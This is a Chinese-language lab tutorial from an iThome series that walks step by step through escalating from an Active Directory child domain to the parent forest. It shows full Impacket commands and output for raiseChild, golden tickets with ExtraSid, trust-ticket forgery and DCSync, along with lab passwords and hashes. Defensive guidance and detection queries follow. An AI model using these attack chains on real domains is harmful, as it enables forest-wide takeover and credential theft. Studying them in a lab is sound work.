AD 攻防實戰演練 Day 21：Active Directory 子域提權攻擊完全解析 - 從信任關係到父域控制

2025 iThome 鐵人賽

DAY 21

Security

資安這條路：AD 攻防實戰演練系列第 21 篇

AD 攻防實戰演練 Day 21：Active Directory 子域提權攻擊完全解析 - 從信任關係到父域控制

17th鐵人賽

飛飛

2025-10-05 02:34:18

155 瀏覽

分享至

前情提要

今天我們要深入探討 Active Directory 環境中極具威脅性的攻擊面：子域到父域的提權攻擊（Child Domain to Parent Domain Privilege Escalation）。在企業環境中，為了實現資源共享和統一管理，常會建立父子域架構。然而，正如 Microsoft 明確指出的：「域信任不是安全邊界」（Domain Trust is not a security boundary）。

學習目標

透過今天的實戰演練，你將學會如何利用域信任關係從子域提權到父域，包括：

理解 Active Directory 信任關係的核心概念與安全風險
使用 Impacket raiseChild.py 自動化提權（含票證重建技巧）
手動建立 Golden Ticket with ExtraSid 提權
利用 Trust Ticket（Inter-Realm TGT）繞過防禦
掌握有效的防禦策略與偵測方法

實驗環境需求

必備憑證與權限

確保你已經取得以下帳號的存取權限：

# 子域（north.sevenkingdoms.local）
eddard.stark:FightP3aceAndHonor!      # 域管理員
arya.stark:Needle                      # 普通使用者

# 父域（sevenkingdoms.local）
petyer.baelish:@littlefinger@         # smallcouncil 群組成員
stannis.baratheon:Drag0nst0ne         # 普通使用者

工具清單

# 確認 Impacket 工具
which impacket-raiseChild
which impacket-ticketer
which impacket-lookupsid
which impacket-secretsdump
which impacket-getST
which impacket-smbclient

# 安裝 ldeep（LDAP 枚舉工具）
pip3 install ldeep

# 確認 evil-winrm
which evil-winrm

第一部分：理解 Active Directory 信任關係

1.1 什麼是信任關係？

在 Active Directory 中，信任關係（Trust Relationship） 允許一個域的使用者存取另一個域的資源。信任是一種認證機制，而非授權機制。

白話解釋：

域 A 信任 域 B
↓
域 A 說：「我相信域 B 的身份驗證」
↓
但不代表：「域 B 的使用者可以存取域 A 的所有資源」
↓
還需要：明確的授權設定（ACL、群組成員資格等）

1.2 信任關係的類型

Domain Trust（域信任）- 父子關係

Parent Domain: sevenkingdoms.local
         ↕ (雙向信任)
Child Domain: north.sevenkingdoms.local

特性：

自動建立：子域建立時自動與父域建立雙向信任
傳遞性（Transitive）：信任關係可以傳遞（A 信任 B，B 信任 C → A 信任 C）
雙向（Bidirectional）：父域和子域互相信任
Kerberos 協定：使用 Kerberos 進行跨域認證
SID Filtering：預設不啟用（危險！）

安全問題：

子域的 Domain Admins ≠ 父域的 Domain Admins
但是！Enterprise Admins（只存在於森林根域）可以控制所有域
子域控制器可以利用信任機制提權到父域

Forest Trust（森林信任）- 獨立森林

Forest A: sevenkingdoms.local
         ↕ (雙向信任)
Forest B: essos.local

特性：

手動建立：需要管理員明確設定
可選單向或雙向：靈活設定信任方向
SID Filtering：預設啟用（除非特別關閉）
選擇性認證（Selective Authentication）：可以限制跨森林存取

安全問題：

如果 SID Filtering 被禁用或 SID History 被啟用 → 可以偽造特權群組成員資格
Foreign Groups 可能提供跨森林的攻擊路徑
Unconstrained Delegation 主機可以捕獲外部森林 DC 的票證

1.3 枚舉信任關係

使用 ldeep 枚舉

步驟 1：查詢 north.sevenkingdoms.local 的信任關係

# 使用 arya.stark 的帳號登入，查詢 north 網域信任了誰
ldeep ldap -u arya.stark -p 'Needle' \
  -d north.sevenkingdoms.local \
  -s ldap://192.168.139.11 \
  trusts

查詢結果說明：

信任對象：sevenkingdoms.local（父網域）
信任方向：雙向（Bidirectional）- 互相信任
關係類型：WITHIN_FOREST - 同一個集團內的父子公司關係

步驟 2：查詢 sevenkingdoms.local 的信任關係

# 使用 cersei.lannister 的帳號登入，查詢 sevenkingdoms 網域信任了誰
ldeep ldap -u cersei.lannister -p 'il0vejaime' \
  -d sevenkingdoms.local \
  -s ldap://192.168.139.10 \
  trusts

查詢結果說明：

信任對象	關係類型	風險等級	說明
`north.sevenkingdoms.local`	父子關係（WITHIN_FOREST）	✅ 正常	同集團內的子公司，這是正常的
`essos.local`	跨集團信任（FOREST_TRANSITIVE）	🔴 危險	與外部集團的合作，且安全機制被關閉

在 essos.local 的信任設定中，出現了危險的組合：

trustAttributes: FOREST_TRANSITIVE | TREAT_AS_EXTERNAL

正常的安全情況（應該要這樣）

想像兩家公司 A 和 B 簽訂合作：

公司 A 員工想進入公司 B 的辦公室
    ↓
門口警衛檢查：
  ✅ 檢查身分證（主要身分）
  ✅ 檢查過去的工作證（歷史身分）
  ❌ 發現有可疑的「前公司執行長」工作證
  ❌ 拒絕進入 → 安全！

目前的危險情況（TREAT_AS_EXTERNAL = 關閉檢查）

公司 A 員工想進入公司 B 的辦公室
    ↓
門口警衛檢查：
  ✅ 檢查身分證（主要身分）
  ⚠️ 不檢查過去的工作證（安全檢查被關閉）
  ⚠️ 就算帶著「假的執行長工作證」也不會發現
  ✅ 直接放行 → 危險！

使用 BloodHound 視覺化

# 查詢所有域信任關係
MATCH p=(n:Domain)-->(m:Domain) RETURN p

🔵 藍色連線 = 同集團內的信任（安全的親子關係）
- 藍色連線（NORTH ↔ SEVENKINGDOMS）
- 類型：TreeRoot (樹根信任)
- 關係：父子網域
- 風險：✅ 低（這是正常的）
🔴 紅色連線 = 跨集團的信任（需要特別注意的外部關係）
- 紅色連線（ESSOS ↔ SEVENKINGDOMS）
- 類型：Forest Trust (森林信任)
- 屬性：FOREST_TRANSITIVE | TREAT_AS_EXTERNAL
- 風險：🔴 Critical（嚴重危險！）
⚫ 黑色連線 = 其他類型的信任
- 類型：可能是反向信任或其他關聯
- 說明：顯示網域間的其他關係

BloodHound 會顯示：

子域 ↔ 父域的雙向信任
sevenkingdoms.local ↔ essos.local 的森林信任

對應的 LDAP 查詢

# 直接查詢 LDAP
ldapsearch -x -H ldap://192.168.139.11 \
  -D "arya.stark@north.sevenkingdoms.local" \
  -w 'Needle' \
  -b "CN=System,DC=north,DC=sevenkingdoms,DC=local" \
  "(objectCategory=trustedDomain)"

dn: CN=sevenkingdoms.local,CN=System,DC=north,DC=sevenkingdoms,DC=local
objectClass: top
objectClass: leaf
objectClass: trustedDomain
cn: sevenkingdoms.local
distinguishedName: CN=sevenkingdoms.local,CN=System,DC=north,DC=sevenkingdoms,
 DC=local
instanceType: 4
whenCreated: 20250907161338.0Z
whenChanged: 20250907161338.0Z
uSNCreated: 8241
uSNChanged: 8242
showInAdvancedViewOnly: TRUE
name: sevenkingdoms.local
objectGUID:: HJQEuLNlnUO0DFl8A6WeBw==
securityIdentifier:: AQQAAAAAAAUVAAAA3ci+uOXr/1ScOZgJ
trustDirection: 3
trustPartner: sevenkingdoms.local
trustPosixOffset: -2147483648
trustType: 2
trustAttributes: 32
flatName: SEVENKINGDOMS
objectCategory: CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=sevenkingdoms,
 DC=local
isCriticalSystemObject: TRUE
dSCorePropagationData: 20250907164233.0Z
dSCorePropagationData: 20250907164229.0Z
dSCorePropagationData: 20250907161410.0Z
dSCorePropagationData: 16010101181633.0Z

第二部分：子域到父域的提權攻擊

2.1 攻擊原理：為什麼可以從子域提權到父域？

Microsoft 的聲明：

"Active Directory domains should not be considered a security boundary. The forest is the security boundary."

核心概念：

Enterprise Admins 群組：
- 只存在於森林根域（sevenkingdoms.local）
- RID：519
- 對整個森林有完全控制權
- 成員可以控制所有子域

SID 的組成：

S-1-5-21-{Domain SID}-{RID}

範例：
north.sevenkingdoms.local 的 Domain SID:
S-1-5-21-638448100-4005671799-261795860

sevenkingdoms.local 的 Domain SID:
S-1-5-21-1409754491-4246775990-3914137275

sevenkingdoms.local 的 Enterprise Admins:
S-1-5-21-1409754491-4246775990-3914137275-519

Golden Ticket with ExtraSid：
- 使用子域的 krbtgt hash 建立 TGT
- 在 TGT 中添加父域的 Enterprise Admins SID（-519）
- 域控制器信任子域的認證 → 接受 TGT
- TGT 中包含 Enterprise Admins → 擁有父域完全控制權

2.2 方法一：使用 Impacket raiseChild.py（一鍵提權）

這是最簡單的方法，raiseChild.py 會自動取得所需的憑證資訊，但需要手動重新生成正確的 Golden Ticket。

步驟 1：執行 raiseChild.py 取得憑證

# 使用子域的 Domain Admin 帳號
impacket-raiseChild \
  north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!' \
  -w ./administrator.ccache

執行過程：

[*] Raising child domain north.sevenkingdoms.local
[*] Forest FQDN is: sevenkingdoms.local
[*] Raising north.sevenkingdoms.local to sevenkingdoms.local
[*] sevenkingdoms.local Enterprise Admin SID is: S-1-5-21-3099511005-1426058213-160971164-519
[*] Getting credentials for north.sevenkingdoms.local
north.sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cc685e516100abe936fe151297f39dbc:::
north.sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96:126c9a05f95c805b92adfdd2e0f26ce38e7293af53885465a15dccd6f356adfb
[*] Getting credentials for sevenkingdoms.local
sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb:::
sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96:5eefe50bb3dbd7127f669e5a04e593dcc04938eef1f9f02fea731bdd0fd87e46
[*] Target User account name is Administrator
sevenkingdoms.local/Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
sevenkingdoms.local/Administrator:aes256-cts-hmac-sha1-96:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827
[*] Saving golden ticket into ./administrator.ccache

取得的關鍵資訊：

# 父域 SID（去掉最後的 RID）
Domain SID: S-1-5-21-3099511005-1426058213-160971164

# Enterprise Admins SID（父域 SID + 519）
EA SID: S-1-5-21-3099511005-1426058213-160971164-519

# 父域 krbtgt Hash（最重要！）
父域 krbtgt NT Hash: 3bd92e98b99b5f66fc4d771a18e003bb
父域 krbtgt AES256:  5eefe50bb3dbd7127f669e5a04e593dcc04938eef1f9f02fea731bdd0fd87e46

步驟 2：驗證票證（發現問題）

# 設定環境變數
export KRB5CCNAME=./administrator.ccache

# 檢查票證
klist

問題發現：

Ticket cache: FILE:./administrator.ccache
Default principal: eddard.stark@NORTH.SEVENKINGDOMS.LOCAL  # ❌ 錯誤！應該是父域帳號
Valid starting       Expires              Service principal
10/04/2025 10:55:52  10/04/2025 20:55:52  krbtgt/NORTH.SEVENKINGDOMS.LOCAL@NORTH.SEVENKINGDOMS.LOCAL

raiseChild.py 生成的票證不正確，principal 仍然是子域帳號，無法用於父域提權。

步驟 3：手動建立正確的 Golden Ticket

使用 raiseChild.py 取得的資訊，手動建立包含 Enterprise Admins SID 的 Golden Ticket：

# 刪除錯誤的票證（可選）
rm -f ./administrator.ccache

# 使用 ticketer 手動建立正確的 Golden Ticket
impacket-ticketer -nthash 3bd92e98b99b5f66fc4d771a18e003bb \
  -domain sevenkingdoms.local \
  -domain-sid S-1-5-21-3099511005-1426058213-160971164 \
  -extra-sid S-1-5-21-3099511005-1426058213-160971164-519 \
  Administrator

參數說明：

-nthash：父域 krbtgt 的 NT Hash
-domain：父域名稱
-domain-sid：父域的 Domain SID（不包含 RID）
-extra-sid：Enterprise Admins 的 SID（父域 SID + 519）
Administrator：目標使用者名稱

輸出：

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sevenkingdoms.local/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in Administrator.ccache  # ✅ 注意大寫 A

步驟 4：驗證正確的票證

# 設定環境變數（注意檔名大小寫）
export KRB5CCNAME=./Administrator.ccache

# 驗證票證
klist

正確的輸出：

Ticket cache: FILE:./Administrator.ccache
Default principal: Administrator@SEVENKINGDOMS.LOCAL  # ✅ 正確！父域帳號
Valid starting       Expires              Service principal
10/05/2025 11:00:00  10/05/2025 21:00:00  krbtgt/SEVENKINGDOMS.LOCAL@SEVENKINGDOMS.LOCAL

步驟 5：使用 Golden Ticket 執行 DCSync

# 對父域 DC 執行 DCSync
impacket-secretsdump -k -no-pass \
  Administrator@kingslanding.sevenkingdoms.local

成功輸出：

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
SEVENKINGDOMS\KINGSLANDING$:plain_password_hex:fcf5b008f40f2c76dc70a4348f14701d...
[*] DPAPI_SYSTEM
dpapi_machinekey:0x9b123f93fbe53d62cf038985329a72d6788be6cb
[*] NL$KM
 0000   A0 B9 07 4A 55 70 F9 F9  FA CC 68 30 15 F5 95 A2   ...JUp....h0....
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb:::
...

步驟 6：使用獲得的憑證連線（推薦）

由於 Kerberos 連線可能不穩定，建議直接使用獲得的 Hash：

evil-winrm -i 192.168.139.10 \
  -u Administrator \
  -H c66d72021a2d4744409969a581a1705e

為什麼需要手動重建票證？

raiseChild.py 的限制：

生成的票證 principal 錯誤（仍是子域帳號）
票證格式可能不被父域 DC 接受
SID History 注入可能不完整

手動建立的優勢：

確保 principal 正確（Administrator@SEVENKINGDOMS.LOCAL）
正確注入 Enterprise Admins SID（-519）
使用標準 Golden Ticket 格式，相容性更好

常見問題與解決方案

問題	原因	解決方案
klist 顯示子域帳號	raiseChild.py 票證錯誤	手動使用 ticketer 重建
`KDC_ERR_PREAUTH_FAILED`	時間不同步	`sudo ntpdate kingslanding.sevenkingdoms.local`
`STATUS_OBJECT_NAME_NOT_FOUND`	DNS 解析問題	使用 IP 地址或檢查 /etc/hosts
DCSync 無輸出	票證未正確載入	確認 `KRB5CCNAME` 路徑（需要 `./`）
檔案名不存在	大小寫錯誤	ticketer 生成 `Administrator.ccache`（大寫 A）

2.3 方法二：手動建立 Golden Ticket with ExtraSid

現在讓我們手動執行 raiseChild.py 的每個步驟，深入理解攻擊原理。

步驟 1：提取子域 krbtgt Hash

# 使用 secretsdump 只提取 krbtgt
impacket-secretsdump -just-dc-user north/krbtgt \
  north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.139.11

輸出：

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cc685e516100abe936fe151297f39dbc:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:126c9a05f95c805b92adfdd2e0f26ce38e7293af53885465a15dccd6f356adfb
krbtgt:aes128-cts-hmac-sha1-96:c61adedcb98bf7f0c23072156f9c040e
krbtgt:des-cbc-md5:9e8c9d1f98978a25

關鍵資訊：

krbtgt NT Hash: cc685e516100abe936fe151297f39dbc

步驟 2：取得域 SID

# 取得子域 SID
impacket-lookupsid -domain-sids \
  north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.139.11 0

# 子域 SID
[*] Domain SID is: S-1-5-21-3845383931-1370366697-225289965

# 取得父域 SID  
impacket-lookupsid -domain-sids \
  north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.139.10 0

輸出：

# 父域 SID
[*] Domain SID is: S-1-5-21-3099511005-1426058213-160971164

步驟 3：建立 Golden Ticket with ExtraSid

# 使用 ticketer.py 建立 Golden Ticket
impacket-ticketer \
  -nthash cc685e516100abe936fe151297f39dbc \
  -domain-sid S-1-5-21-3845383931-1370366697-225289965 \
  -domain north.sevenkingdoms.local \
  -extra-sid S-1-5-21-3099511005-1426058213-160971164-519 \
  goldenuser

參數說明：

-nthash: 子域 krbtgt 的 NT Hash
-domain-sid: 子域的 SID
-domain: 子域的 FQDN
-extra-sid: 父域的 Enterprise Admins SID（父域 SID + -519）
goldenuser: 偽造的使用者名稱（可以是任意名稱）

重要的 RID 清單：

RID	群組	權限範圍
519	Enterprise Admins	整個森林（最高權限）
512	Domain Admins	單一域
518	Schema Admins	森林 Schema
520	Group Policy Creator Owners	GPO 管理

輸出：

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for north.sevenkingdoms.local/goldenuser
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in goldenuser.ccache

步驟 4：使用 Golden Ticket 執行 DCSync

# 設定票證環境變數
export KRB5CCNAME=goldenuser.ccache

# 驗證票證
klist

klist 輸出：

Ticket cache: FILE:goldenuser.ccache
Default principal: goldenuser@NORTH.SEVENKINGDOMS.LOCAL

Valid starting       Expires              Service principal
10/04/2025 11:05:54  10/02/2035 11:05:54  krbtgt/NORTH.SEVENKINGDOMS.LOCAL@NORTH.SEVENKINGDOMS.LOCAL
        renew until 10/02/2035 11:05:54

執行 DCSync：

# DCSync 父域的所有 Hash
impacket-secretsdump -k -no-pass -just-dc-ntlm \
  north.sevenkingdoms.local/goldenuser@kingslanding.sevenkingdoms.local

成功輸出：

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb:::
...

成功！我們現在擁有父域的所有憑證！

2.4 方法三：Trust Ticket（偽造 Inter-Realm TGT）

這是另一種從子域提權到父域的方法，利用的是域間的信任密鑰。

原理說明

域間信任的運作機制：

使用者（子域） → 請求父域資源
         ↓
1. 子域 KDC 發放 Inter-Realm TGT（使用 Trust Key 加密）
         ↓
2. 使用者帶著 Inter-Realm TGT 到父域
         ↓
3. 父域 KDC 驗證 Trust Key 的簽章 → 接受
         ↓
4. 父域 KDC 發放目標資源的 TGS

攻擊者的做法：

攻擊者提取 Trust Key → 偽造 Inter-Realm TGT → 加入 Enterprise Admins SID

步驟 1：提取 Trust Key

Trust Key 儲存在子域的 NTDS.dit 中，對應於父域名稱的機器帳號。

# 提取 Trust Key（使用父域的 NetBIOS 名稱）
impacket-secretsdump -just-dc-user 'SEVENKINGDOMS$' \
  north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.139.11

輸出：

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
SEVENKINGDOMS$:1104:aad3b435b51404eeaad3b435b51404ee:f6ae3f5c041d4bd64242309605f78c5b:::
[*] Kerberos keys grabbed
SEVENKINGDOMS$:aes256-cts-hmac-sha1-96:ab60a443bc518f1b19e194bf4fab862564555a69632b823951490b0c649e1544
SEVENKINGDOMS$:aes128-cts-hmac-sha1-96:356217bffadeb7a6488b67817378820e
SEVENKINGDOMS$:des-cbc-md5:1c706bb0208a3bdc

關鍵資訊：

Trust Key NT Hash: f6ae3f5c041d4bd64242309605f78c5b

步驟 2：建立 Inter-Realm TGT

# 建立 Trust Ticket（Inter-Realm TGT）
impacket-ticketer \
  -nthash f6ae3f5c041d4bd64242309605f78c5b \
  -domain-sid S-1-5-21-3845383931-1370366697-225289965 \
  -domain north.sevenkingdoms.local \
  -extra-sid S-1-5-21-3099511005-1426058213-160971164-519 \
  -spn krbtgt/sevenkingdoms.local \
  trustfakeuser

關鍵參數差異：

-nthash: 使用 Trust Key（不是 krbtgt hash）
-spn: 必須設定為 krbtgt/父域FQDN（表示這是 Inter-Realm TGT）

輸出：

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for north.sevenkingdoms.local/trustfakeuser
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in trustfakeuser.ccache

步驟 3：使用 Inter-Realm TGT 請求服務票證

# 設定票證
export KRB5CCNAME=trustfakeuser.ccache

# 使用 Inter-Realm TGT 向父域 KDC 請求 CIFS 服務票證
impacket-getST -k -no-pass \
  -spn cifs/kingslanding.sevenkingdoms.local \
  sevenkingdoms.local/trustfakeuser@sevenkingdoms.local \
  -debug

過程說明：

1. getST 讀取 trustfakeuser.ccache 中的 Inter-Realm TGT
2. 連接到父域 KDC（kingslanding.sevenkingdoms.local）
3. 使用 Inter-Realm TGT 請求 CIFS 服務的 TGS
4. KDC 驗證 Trust Key 簽章 → 接受
5. KDC 看到 Enterprise Admins SID → 授予完全權限
6. 發放 CIFS 服務票證

輸出：

[*] Getting TGS for user
[*] Saving ticket in trustfakeuser@sevenkingdoms.local@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

步驟 4：使用服務票證存取父域

# 設定新的票證
export KRB5CCNAME=trustfakeuser@sevenkingdoms.local@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache

# 方法 1：使用 smbclient
impacket-smbclient -k -no-pass \
  trustfakeuser@kingslanding.sevenkingdoms.local

SMBClient 互動：

Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
# use C$
# ls
...

# 方法 2：執行 DCSync
impacket-secretsdump -k -no-pass -just-dc-ntlm \
  trustfakeuser@kingslanding.sevenkingdoms.local

Trust Ticket 的特性

優勢：

即使 krbtgt 密碼被重置 2 次，Trust Ticket 仍然有效
因為使用的是 Trust Key，不是 krbtgt hash
Trust Key 更新頻率低，更持久

為什麼 Trust Ticket 在 krbtgt 重置後仍有效？

Golden Ticket:
使用 krbtgt hash → krbtgt 重置 2 次 → Golden Ticket 失效

Trust Ticket:
使用 Trust Key → krbtgt 重置 → Trust Key 不受影響 → Trust Ticket 仍有效

Trust Key 的重置：

需要手動重建整個信任關係
或使用 netdom trust /resetOneSide 指令
管理員很少這樣做

2.5 方法四：利用 Unconstrained Delegation

我們已經學過這個方法：

# 1. WINTERFELL 是子域的 DC，預設有無約束委派
# 2. 使用 Coercer 強制父域 DC 認證到 WINTERFELL
# 3. 在 WINTERFELL 上使用 Rubeus 捕獲父域 DC 的 TGT
# 4. 使用捕獲的 TGT 執行 DCSync

這個方法已經在 Day 17 詳細講解，這裡不再重複。

第三部分：防禦與偵測策略

3.1 架構層面的防禦

策略 1：重新思考域架構設計

核心原則：

❌ 錯誤思維：子域可以作為安全邊界
✅ 正確思維：森林才是唯一的安全邊界

建議做法：

情境	傳統做法	安全做法
不同安全層級的部門	建立子域隔離	建立獨立森林
合作廠商存取	建立信任關係	使用 Azure AD B2B
測試/開發環境	建立子域	完全獨立的森林
地理位置分散	每個地區一個子域	使用單一域 + 站台複寫

實際案例：

# 危險架構（常見但不安全）
corp.example.com (父域)
├── prod.corp.example.com (生產環境)
├── dev.corp.example.com (開發環境)
└── dmz.corp.example.com (DMZ)

問題：開發環境被攻破 → 可以提權到生產環境

# 安全架構
forest-prod.example.com (生產森林 - 完全隔離)
forest-dev.example.com (開發森林 - 完全隔離)
forest-dmz.example.com (DMZ 森林 - 完全隔離)

優勢：即使一個森林被完全攻破，無法影響其他森林

策略 2：實作 Red Forest / ESAE 模型

Enhanced Security Administrative Environment (ESAE)：

Tier 0 Forest (管理森林)
- 只包含特權帳號
- 完全隔離的 PAW (特權存取工作站)
- 嚴格的存取控制

Tier 1 Forest (生產森林)
- 一般企業環境
- 不含任何特權帳號

信任關係：單向（生產 → 管理）

實作步驟：

# 1. 建立管理森林
Install-ADDSForest -DomainName "admin.corp.local"

# 2. 建立單向信任（從生產到管理）
# 在生產森林執行
New-ADTrust -Name "admin.corp.local" `
  -Direction "Outbound" `
  -Type "Forest"

# 3. 啟用 SID Filtering（必須！）
netdom trust corp.local /domain:admin.corp.local /EnableSIDHistory:No

3.2 技術層面的防禦

防禦 1：啟用並驗證 SID Filtering

SID Filtering 的作用：

未啟用 SID Filtering：
攻擊者偽造票證 → 加入 Enterprise Admins SID → DC 接受 → 提權成功

啟用 SID Filtering：
攻擊者偽造票證 → 加入 Enterprise Admins SID → DC 過濾掉外來 SID → 提權失敗

檢查 SID Filtering 狀態：

# 檢查所有信任關係
Get-ADTrust -Filter * | ForEach-Object {
    $trust = $_
    $sidFiltering = (netdom trust $trust.Name /domain:$trust.Source /quarantine)
    [PSCustomObject]@{
        TrustName = $trust.Name
        Direction = $trust.Direction
        SIDFilteringEnabled = $sidFiltering -match "SID filtering is enabled"
    }
}

啟用 SID Filtering：

# 對外部森林信任啟用 SID Filtering（強烈建議）
netdom trust essos.local /domain:sevenkingdoms.local /EnableSIDHistory:No

# 對父子域啟用 SID Filtering（可選，會影響正常功能）
# ⚠️ 警告：可能導致跨域存取問題
netdom trust north.sevenkingdoms.local /domain:sevenkingdoms.local /EnableSIDHistory:No

驗證 SID Filtering：

# 驗證指令
netdom trust north.sevenkingdoms.local /domain:sevenkingdoms.local /quarantine

# 預期輸出（已啟用）
SID filtering is enabled on this trust.

# 預期輸出（未啟用）
SID filtering is not enabled on this trust.

防禦 2：監控 krbtgt 帳號

建立監控機制：

# 監控 krbtgt 密碼最後修改時間
Get-ADUser krbtgt -Properties PasswordLastSet | 
    Select-Object Name, PasswordLastSet

# 建立警報：krbtgt 密碼超過 180 天未更換
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet
$daysSinceChange = (Get-Date) - $krbtgt.PasswordLastSet
if ($daysSinceChange.Days -gt 180) {
    Write-Warning "krbtgt password has not been changed for $($daysSinceChange.Days) days!"
    # 發送警報給安全團隊
}

定期輪換 krbtgt 密碼：

使用 Microsoft 官方腳本：New-CtmADKrbtgtKeys.ps1

不過此專案已經 archived (Mar 8, 2024)

主要限制：
- ❌ 無法處理已離線但未從 AD 完全移除的 DC
- 當腳本嘗試連接離線 DC 時會產生錯誤
- 需要先使用 ntdsutil 清理離線 DC 的 metadata

有社群版本，仍要注意安全性:
https://github.com/zjorz/Public-AD-Scripts/blob/master/Reset-KrbTgt-Password-For-RWDCs-And-RODCs.ps1

# 下載並執行腳本
.\New-CtmADKrbtgtKeys.ps1 -WhatIf

# 實際執行（分兩次，間隔 24 小時）
.\New-CtmADKrbtgtKeys.ps1 -SkipRODC
# 等待 24 小時後再執行一次
.\New-CtmADKrbtgtKeys.ps1 -SkipRODC

為什麼要重置兩次？

第一次重置：舊 hash 仍可用於已發放的票證
等待 24 小時：讓所有正常票證過期
第二次重置：完全清除舊 hash，Golden Ticket 失效

防禦 3：保護 Trust Key

監控 Trust Account：

# 列出所有信任帳號
Get-ADComputer -Filter {Name -like "*$"} -Properties TrustedForDelegation | 
    Where-Object {$_.DistinguishedName -like "*CN=System*"} |
    Select-Object Name, DistinguishedName

# 監控信任帳號的密碼修改
$trustAccounts = Get-ADComputer -Filter {Name -like "*$"} -Properties PasswordLastSet |
    Where-Object {$_.DistinguishedName -like "*CN=System*"}

foreach ($account in $trustAccounts) {
    $daysSinceChange = (Get-Date) - $account.PasswordLastSet
    Write-Host "$($account.Name): Password last set $($daysSinceChange.Days) days ago"
}

重置 Trust Key：

# 重建信任關係（會重置 Trust Key）
# ⚠️ 警告：會暫時中斷跨域存取
netdom trust north.sevenkingdoms.local /domain:sevenkingdoms.local /reset /passwordt:<新密碼>

防禦 4：限制 Enterprise Admins 群組

最小權限原則：

# 1. 移除不必要的成員
Get-ADGroupMember "Enterprise Admins" | 
    ForEach-Object {
        Remove-ADGroupMember "Enterprise Admins" -Members $_ -Confirm:$false
    }

# 2. 只在需要時臨時加入成員（使用 JIT - Just-In-Time）
# 使用 Microsoft Identity Manager 或 Azure AD PIM

# 3. 監控群組成員變更
$group = Get-ADGroup "Enterprise Admins"
Get-ADReplicationAttributeMetadata -Object $group -Server $DC | 
    Where-Object {$_.AttributeName -eq "member"} |
    Select-Object LastOriginatingChangeTime, LastOriginatingChangeDirectoryServerIdentity

實作時間限制存取：

# PowerShell 腳本：臨時提權機制
function Grant-TemporaryEAAccess {
    param(
        [string]$UserName,
        [int]$DurationMinutes = 30
    )
    
    # 加入群組
    Add-ADGroupMember -Identity "Enterprise Admins" -Members $UserName
    Write-Host "User $UserName added to Enterprise Admins for $DurationMinutes minutes"
    
    # 建立排程任務，在時間到後自動移除
    $action = New-ScheduledTaskAction -Execute "powershell.exe" `
        -Argument "-Command Remove-ADGroupMember -Identity 'Enterprise Admins' -Members '$UserName' -Confirm:`$false"
    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes($DurationMinutes)
    Register-ScheduledTask -TaskName "RemoveEA_$UserName" -Action $action -Trigger $trigger
}

# 使用範例
Grant-TemporaryEAAccess -UserName "admin.user" -DurationMinutes 60

3.3 偵測層面的防禦

偵測 1：監控異常的 Kerberos 票證請求

監控 Event ID 4769（TGS 請求）：

<!-- SIEM 規則：偵測異常的跨域 TGS 請求 -->
<QueryList>
  <Query Id="0">
    <Select Path="Security">
      *[System[(EventID=4769)]]
      and
      *[EventData[Data[@Name='ServiceName']='krbtgt']]
      and
      *[EventData[Data[@Name='TicketOptions']='0x40810010']]
    </Select>
  </Query>
</QueryList>

